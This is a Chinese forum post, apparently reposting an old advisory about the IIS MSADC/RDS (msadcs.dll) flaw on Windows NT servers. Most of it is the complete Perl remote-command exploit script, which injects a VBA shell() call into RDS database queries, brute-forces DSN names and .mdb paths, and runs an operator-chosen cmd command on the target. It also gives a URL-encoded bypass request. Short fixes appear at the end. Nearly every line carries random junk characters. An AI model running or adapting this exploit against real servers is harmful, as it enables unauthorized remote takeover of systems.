社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 165945阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 5*#!w1X  
/!//i^  
涉及程序: k&kx%skz  
Microsoft NT server k'hJ@ 6eKS  
Gx.iZOOH/  
描述: 9sR?aW^$,/  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 g/2eY$6Z  
:Jz@`s1n  
详细: j!oD9&W4~  
如果你没有时间读详细内容的话,就删除: Sjogv  
c:\Program Files\Common Files\System\Msadc\msadcs.dll pP`KI'aUN  
有关的安全问题就没有了。 %I&[:  
;g M$%!&  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 BRu/pyxG  
mF|7:zSo  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 [`u3SN/P  
关于利用ODBC远程漏洞的描述,请参看: ^{vf|zZ _  
GG KD8'j]  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm pjh o#yP  
g'F{;Ur  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 ;is*[r\|1  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 13X0LN  
3Xun>ZQ-  
这里不再论述。 s?j` _ B  
C6-71 `C0  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: .%iJin"  
~qk5Mk4$  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ~gjREl,+D#  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! H /kSFf{  
+Je(]b @  
5,pKv  
#将下面这段保存为txt文件,然后: "perl -x 文件名" :Ur=}@Dj  
6jGPmOM/  
#!perl U6R"eQUTV  
# vXio /m  
# MSADC/RDS 'usage' (aka exploit) script QnWM<6xK"  
# <`~zKFUQ[  
# by rain.forest.puppy ]B;\?Tim  
# ns{BU->f  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me ;T6x$e  
# beta test and find errors! pX nY=  
.Y?/J,Ch  
use Socket; use Getopt::Std; 6@2 S*\&  
getopts("e:vd:h:XR", \%args); .7!n%Ks  
7Z(F-B +j  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 1 >nl ]yO  
:tv:46+s=  
if (!defined $args{h} && !defined $args{R}) { G O=&  
print qq~ ikSm;.  
Usage: msadc.pl -h <host> { -d <delay> -X -v } E903T''s  
-h <host> = host you want to scan (ip or domain) 2rr}5i)r|  
-d <seconds> = delay between calls, default 1 second {APsi7HYBr  
-X = dump Index Server path table, if available Q|^TR__  
-v = verbose #\Q{?F!4  
-e = external dictionary file for step 5 %/86}DCfE?  
nmLn]U=  
Or a -R will resume a command session ZW]Q|vPh4U  
UP@a ?w  
~; exit;} sw(dd01a 7  
gD[Fkq$]  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; OYWW<N+R2  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} _Gpq=(q)  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} D~;hIt*  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 0NN{2"M$p  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} Bhy:" r%#  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } $9}z^sGIM  
@Gs*y1  
if (!defined $args{R}){ $ret = &has_msadc; *mc]Oa  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 2 us-s  
<By6%<JTn  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" n.[0#Ur&}  
. "cmd /c "; {L!w/IeX  
$in=<STDIN>; chomp $in; Bh9O<|E  
$command="cmd /c " . $in ; !Cm<K*c"&E  
%'}L.OvG  
if (defined $args{R}) {&load; exit;} _L6WbRu|  
MNE{mV(  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; q/o|uAq  
&try_btcustmr; GP %83T  
*3yeMxa  
print "\nStep 2: Trying to make our own DSN...";  Yfk){1  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; k~(j   
d2Z kchf  
print "\nStep 3: Trying known DSNs..."; Y4%Bx8  
&known_dsn; H$^b.5K  
9I a4PPEH1  
print "\nStep 4: Trying known .mdbs..."; +TzF*Np  
&known_mdb; |P_\l,f8`  
?UXKy  
if (defined $args{e}){ (l28,\Bel  
print "\nStep 5: Trying dictionary of DSN names..."; C-;y#a)  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } \iQD\=o  
O1@-)<_71  
print "Sorry Charley...maybe next time?\n"; ~ caKzq  
exit; wAr (5nEbx  
nt,tM/  
############################################################################## idwiM|.iU  
"t<$ {  
sub sendraw { # ripped and modded from whisker @j%r6N  
sleep($delay); # it's a DoS on the server! At least on mine... \dyJ=tg  
my ($pstr)=@_; oKIry 8'^N  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || _}X_^taTZS  
die("Socket problems\n"); n7 RswX  
if(connect(S,pack "SnA4x8",2,80,$target)){ `?P k~7  
select(S); $|=1; ;79X# hI  
print $pstr; my @in=<S>; Wgl7)Xk.)  
select(STDOUT); close(S); SR 9 Cl  
return @in; i$) `U]  
} else { die("Can't connect...\n"); }} KzRw)P  
[sC]<2 r  
############################################################################## {Gnji] v  
/B$"fxFf  
sub make_header { # make the HTTP request ckqU2ETpD}  
my $msadc=<<EOT ti:qOSIDTA  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 7$(>Z^ Em  
User-Agent: ACTIVEDATA :X>%6Xj?RV  
Host: $ip Zho d%n3  
Content-Length: $clen |Ire#0Nwx  
Connection: Keep-Alive Do7&OBI~  
p @@TOS  
ADCClientVersion:01.06 G: FP9  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 %nJ^0X_]  
t[B\'f!  
--!ADM!ROX!YOUR!WORLD! aU]A#g   
Content-Type: application/x-varg pYo]lO  
Content-Length: $reqlen $_-f}E  
]8(_{@ /  
EOT *rO#UE2  
; $msadc=~s/\n/\r\n/g; V#?GDe}[  
return $msadc;} r;`6ML[5Vx  
OO@ (lt  
############################################################################## n'D1s:W^B  
QN_Zd@K*A  
sub make_req { # make the RDS request Zx(VwB2   
my ($switch, $p1, $p2)=@_; >]q{vKCAP  
my $req=""; my $t1, $t2, $query, $dsn; hKw4[wB]  
4K82%P9a  
if ($switch==1){ # this is the btcustmr.mdb query a3i4eGT-  
$query="Select * from Customers where City=" . make_shell(); 2R&msdF   
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . .__X- +^  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 5qkG~ YO-  
_94|^   
elsif ($switch==2){ # this is general make table query 2f1WT g)  
$query="create table AZZ (B int, C varchar(10))"; /,'D4s:Gg  
$dsn="$p1";} ^)&d7cSc  
75~>[JM  
elsif ($switch==3){ # this is general exploit table query ffK A  
$query="select * from AZZ where C=" . make_shell(); x^kV;^ I  
$dsn="$p1";} :ND5po#(  
*TY?*H  
elsif ($switch==4){ # attempt to hork file info from index server 7/lXy3B4  
$query="select path from scope()"; T:aYv;#0  
$dsn="Provider=MSIDXS;";} ~6`HJ  
!Q!= =*1H  
elsif ($switch==5){ # bad query -QL_a8NL  
$query="select"; {D1"bDZ  
$dsn="$p1";}  4l+"J:,  
`_C4L=q"  
$t1= make_unicode($query); oLEqy  
$t2= make_unicode($dsn); 2xvTijO0  
$req = "\x02\x00\x03\x00"; !|{T>yy  
$req.= "\x08\x00" . pack ("S1", length($t1)); 6q ._8%  
$req.= "\x00\x00" . $t1 ; ${^WM}N  
$req.= "\x08\x00" . pack ("S1", length($t2)); w-l:* EV8  
$req.= "\x00\x00" . $t2 ; yTWP1  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; )Xxu-/-  
return $req;} UD`bK a`E  
RiC1lCE  
############################################################################## g+oSbC  
4S>A}rWz  
sub make_shell { # this makes the shell() statement _p/ _t76s  
return "'|shell(\"$command\")|'";} V|3}~(5=  
6@?4z Rkz  
############################################################################## O,"4HZG  
Q?KWiFA}'  
sub make_unicode { # quick little function to convert to unicode FU9q|!2Y  
my ($in)=@_; my $out; x 5vvY  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } >%k:+ +b{  
return $out;} _|`~CLE[  
uh'{+E;=  
############################################################################## ]NS{q85  
!E<y:$eH:  
sub rdo_success { # checks for RDO return success (this is kludge) e;9Z/);#s  
my (@in) = @_; my $base=content_start(@in); }p 0 \  
if($in[$base]=~/multipart\/mixed/){ To1 .U)do  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} B2Qt tcJ  
return 0;} LIYj__4=|  
r9<OB`)3+  
############################################################################## 45e-A{G~  
n}(/>?/  
sub make_dsn { # this makes a DSN for us (055>D6  
my @drives=("c","d","e","f"); L=4%MyZ.e  
print "\nMaking DSN: "; Zq7Y('=`t@  
foreach $drive (@drives) { };"-6e/9  
print "$drive: "; 9fr LYJz"  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . !t/I j~o  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" XlP q>@4p  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); R{"Kh2q_  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; Mz,G;x}  
return 0 if $2 eq "404"; # not found/doesn't exist BH"f\oc  
if($2 eq "200") { x5[wF6A  
foreach $line (@results) { ZYr6Wn  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} mOG;[CB  
} return 0;} \^O&){q(9  
1sgI,5liUs  
############################################################################## K TJm[44  
U^iNOMs?  
sub verify_exists { rEEoR'c6  
my ($page)=@_; (D5 dN\  
my @results=sendraw("GET $page HTTP/1.0\n\n"); JGl0 (i*|  
return $results[0];} ha+)ZF  
D?ojxHe  
############################################################################## z\wY3pIr2  
EM9K^l`  
sub try_btcustmr { KITC,@xE_O  
my @drives=("c","d","e","f"); )Y.H*ca  
my @dirs=("winnt","winnt35","winnt351","win","windows"); [w&B>z=g$  
zvjp]yTx"  
foreach $dir (@dirs) { 8i:E$7etH  
print "$dir -> "; # fun status so you can see progress qzD<_ynA  
foreach $drive (@drives) { %mKM9>lf#  
print "$drive: "; # ditto Fq\vFt|m<  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; -I dW-9~9  
$reqlenlen=length( "$reqlen" ); a=n* }.  
$clen= 206 + $reqlenlen + $reqlen; }ZaZPB/_}P  
(JV [7u -  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ZBYFQTEE  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} A=8%2U wI  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} WUnz  
e$'|EE.=q+  
############################################################################## |6@s6]%X}  
g i>`  
sub odbc_error { h`Ld%iN\  
my (@in)=@_; my $base; gEr@L  
my $base = content_start(@in); L\;n[,.  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this klpYtQ  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; )b AOA  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;  S9\_ODv  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ux>wa+XFa  
return $in[$base+4].$in[$base+5].$in[$base+6];} f_\,H|zco)  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; h"O4r8G}  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . f8ucJ.{"  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} >#pZ`oPEAv  
8NP|>uaj  
############################################################################## \PU7,*2  
Q`= ,&;T>  
sub verbose { n:dnBwY  
my ($in)=@_; f%#q}vK-  
return if !$verbose; 'P'f`;'_DC  
print STDOUT "\n$in\n";} ":igYh  
$)or{Z$&  
############################################################################## nulLK28q  
3 UXaA;  
sub save { 7 LotN6H  
my ($p1, $p2, $p3, $p4)=@_; ^:hI bF4G  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; NgI n\) =0  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; Xg <R+o  
close OUT;} 7bk=D~/nSg  
N$&)gI:  
############################################################################## T( LlNq  
~;)H |R5kV  
sub load { 5N~JRq\  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; RX])#=Cs  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); PvHX#wJ  
@p=<IN>; close(IN); I= '6>+P  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 5`>%{ o  
$target= inet_aton($ip) || die("inet_aton problems"); rl/]Ym4j  
print "Resuming to $ip ..."; pc+'/~  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ,M?K3lG\g[  
if($p[1]==1) { *OM+d$l!  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; OdSglB  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 8bTE# 2+-  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); vyS8yJUY  
if (rdo_success(@results)){print "Success!\n";} .#Vup{.  
else { print "failed\n"; verbose(odbc_error(@results));}} Al}D~6MD  
elsif ($p[1]==3){ Sv#S_jh  
if(run_query("$p[3]")){ b=$(`y  
print "Success!\n";} else { print "failed\n"; }} UiE 1TD{  
elsif ($p[1]==4){ Bjc<d,]  
if(run_query($drvst . "$p[3]")){ wf`e3S  
print "Success!\n"; } else { print "failed\n"; }} Y'&rSHI"  
exit;} ,#V }qSKUS  
1#Q~aY  
############################################################################## 4QZ|e{t  
pB;8yz=  
sub create_table { 59k[A~)~  
my ($in)=@_; XbaUmCuh  
$reqlen=length( make_req(2,$in,"") ) - 28; cqd}.D  
$reqlenlen=length( "$reqlen" ); $:}sm0;  
$clen= 206 + $reqlenlen + $reqlen; z%lLbKSe  
my @results=sendraw(make_header() . make_req(2,$in,"")); i8nzPKF2$3  
return 1 if rdo_success(@results); BbC aIt  
my $temp= odbc_error(@results); verbose($temp); +{b3A@f|F  
return 1 if $temp=~/Table 'AZZ' already exists/; ]yAOKmS  
return 0;} 1`q>*S](  
wdMVy=SS  
############################################################################## ehTRw8"R  
,^n5UA`PK  
sub known_dsn { l>D!@`><I  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go nBg  tK  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", nhImO@Q:  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", LW#$%}  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); A7enC,Ey  
^| r6>b  
foreach $dSn (@dsns) { _C4N6YdU  
print "."; |!6<L_31%  
next if (!is_access("DSN=$dSn")); .~AQxsGH  
if(create_table("DSN=$dSn")){ QLLMSa+! \  
print "$dSn successful\n"; Ha41Wn'tZ  
if(run_query("DSN=$dSn")){ E'^$~h$  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 7=`_UqCV  
print "Something's borked. Use verbose next time\n";}}} print "\n";} Cj5=UUnO  
@AfC$T  
############################################################################## Qz4n%|  
{oVoN>gp  
sub is_access { Qj3l>O  
my ($in)=@_; 8{B]_: -:  
$reqlen=length( make_req(5,$in,"") ) - 28; $ISx0l~  
$reqlenlen=length( "$reqlen" ); _t-e.2a v  
$clen= 206 + $reqlenlen + $reqlen; d`sIgll&n  
my @results=sendraw(make_header() . make_req(5,$in,"")); MZWicfUy  
my $temp= odbc_error(@results); [,TK"  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); :zK\t5  
return 0;} P ~rTuj  
=u<jxV9  
############################################################################## q]rqFP0C  
e13' dCG  
sub run_query { 78h!D[6  
my ($in)=@_; AYHefAF<w  
$reqlen=length( make_req(3,$in,"") ) - 28; J`'wprSBb  
$reqlenlen=length( "$reqlen" ); *wl&Zzx  
$clen= 206 + $reqlenlen + $reqlen; )\m%&EXG{  
my @results=sendraw(make_header() . make_req(3,$in,"")); "NvB@>S  
return 1 if rdo_success(@results); Xf%wW[~  
my $temp= odbc_error(@results); verbose($temp); zL=PxFw0  
return 0;} ,/Al'  
s<'WTgy1i  
############################################################################## #McX  
'9tV-whw  
sub known_mdb { XJ6=Hg4_O  
my @drives=("c","d","e","f","g"); N?l  
my @dirs=("winnt","winnt35","winnt351","win","windows"); b~Un=-@5a  
my $dir, $drive, $mdb; qk_YFR?R  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ['_W <  
 CT[CM+  
# this is sparse, because I don't know of many JWV n@)s  
my @sysmdbs=( "\\catroot\\icatalog.mdb", |0$7{nQ  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", `7 3I}%?  
"\\system32\\certmdb.mdb", JrGY`6##p  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% hOR1R B  
xY@<<  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", q vGP$g  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ~ yu\vqN  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", V7)<MY  
"\\cfusion\\cfapps\\security\\realm_.mdb", Q7pjF`wu  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", d37|o3oC  
"\\cfusion\\database\\cfexamples.mdb", g93H l&  
"\\cfusion\\database\\cfsnippets.mdb", K-Fro~U  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 8],tGMu  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", RCY}JH>}  
"\\cfusion\\brighttiger\\database\\cleam.mdb", .mvpFdn  
"\\cfusion\\database\\smpolicy.mdb", TQ69O +  
"\\cfusion\\database\cypress.mdb", i/j eb*d0  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", Jk_ }y  
"\\website\\cgi-win\\dbsample.mdb", .2x`Fj;o1  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", v@Bk)Z  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" eD)@:K  
); #these are just :$^cY>o  
foreach $drive (@drives) { c3!YA"5  
foreach $dir (@dirs){ r#\Lq;+-B  
foreach $mdb (@sysmdbs) { qs3V2lvYw{  
print "."; .*{0[  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ OY,iz  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; |*JMCI@Mz  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ {(_>A\zi  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 5uO.@0  
} else { print "Something's borked. Use verbose next time\n"; }}}}} ]}d.h!`<)  
(3QG  
foreach $drive (@drives) { HC>MCwx=r  
foreach $mdb (@mdbs) { P$Fq62;}r4  
print "."; DlxL:  
if(create_table($drv . $drive . $dir . $mdb)){ Ybp';8V  
print "\n" . $drive . $dir . $mdb . " successful\n"; pe>[Ts`2F  
if(run_query($drv . $drive . $dir . $mdb)){ =S<E[D{V`  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ;3 /*Z5p  
} else { print "Something's borked. Use verbose next time\n"; }}}} w3 K>IDWI7  
} +OfHa\Nz  
#OVS]Asn}  
############################################################################## x]pZcx9  
`c'R42S A  
sub hork_idx { Qt"i  
print "\nAttempting to dump Index Server tables...\n"; 9k3RC}dEr  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ]_mcJ/6:  
$reqlen=length( make_req(4,"","") ) - 28; {LqahO*  
$reqlenlen=length( "$reqlen" );  ?h3t"9  
$clen= 206 + $reqlenlen + $reqlen; 9e0t  
my @results=sendraw2(make_header() . make_req(4,"","")); 63T4''bwu  
if (rdo_success(@results)){ 3u&)6C?YM  
my $max=@results; my $c; my %d; (dQsR sA  
for($c=19; $c<$max; $c++){ ]<:qMLg  
$results[$c]=~s/\x00//g; _g%h:G&^  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; hZ UnNQ  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 6a4-VX5  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; @0fiui_  
$d{"$1$2"}="";} Fg^Z g\X3  
foreach $c (keys %d){ print "$c\n"; } KpfQ=~'  
} else {print "Index server doesn't seem to be installed.\n"; }} "q3W& @  
3GM9ZPeN:  
############################################################################## Km!~zG7<  
NzG] nsw  
sub dsn_dict { 6&[rA TU+  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 7Lx =VX#]q  
while(<IN>){ lzK,VZ=mM  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; C>Cb  
next if (!is_access("DSN=$dSn")); i1DJ0xC]  
if(create_table("DSN=$dSn")){ ]udH`{]  
print "$dSn successful\n"; (laVmU?I7  
if(run_query("DSN=$dSn")){ 3AcCa>  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ' qN"!\  
print "Something's borked. Use verbose next time\n";}}} v<V9Z <ub  
print "\n"; close(IN);} Hi#f Qji  
<gjA(xT5  
############################################################################## ;)'  
}J(o!2.  
sub sendraw2 { # ripped and modded from whisker 9y`Vg  
sleep($delay); # it's a DoS on the server! At least on mine... CkEbSa<)hK  
my ($pstr)=@_; r"=6s/q7  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ;Ff5ooL{  
die("Socket problems\n"); nPj &a  
if(connect(S,pack "SnA4x8",2,80,$target)){ &0JCZ /e  
print "Connected. Getting data"; nx|b9W<  
open(OUT,">raw.out"); my @in; "XWO#,Ue  
select(S); $|=1; print $pstr; zz1]6B*eX  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 1D2Yued  
close(OUT); select(STDOUT); close(S); return @in; <a)L5<#  
} else { die("Can't connect...\n"); }} q*d@5  
Ou wEO   
############################################################################## 3#~w#Q0%  
+JPHQx'W  
sub content_start { # this will take in the server headers f~v@;/HL  
my (@in)=@_; my $c; nW!pOTJq21  
for ($c=1;$c<500;$c++) { +=g9T`YbE  
if($in[$c] =~/^\x0d\x0a/){ (VB-5&b  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } NG\^>.8  
else { return $c+1; }}} ">!<OB  
return -1;} # it should never get here actually o 76QQ+hP  
OE5JA8/H  
############################################################################## [hXnw'Im/  
)=6o  ,  
sub funky { #({ 9M  
my (@in)=@_; my $error=odbc_error(@in); $pfN0/`(  
if($error=~/ADO could not find the specified provider/){ Z{rD4S @^  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ,Ep41v;T%`  
exit;} LRKl3"M  
if($error=~/A Handler is required/){ CINC1Ll_24  
print "\nServer has custom handler filters (they most likely are patched)\n"; y4`uU1=  
exit;} )~=g}&  
if($error=~/specified Handler has denied Access/){ N^xk.O_TO  
print "\nServer has custom handler filters (they most likely are patched)\n"; AlhPT (  
exit;}} ~WX40z  
2pV@CT  
############################################################################## ]2@g 5H}M  
3p#BEH<re  
sub has_msadc { iw0|A  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); hp!. P1b  
my $base=content_start(@results); ]97`=,OUg  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 'X/(M<c  
return 0;} 7MhN>a;A\  
y)0wM~E;2  
######################## $p~X"f?0  
{p)=#Jd`.P  
2y@y<38  
解决方案: N]7#Q.(~  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 0uwe,;   
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 P h/!a6y  
X2S:"0?7  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八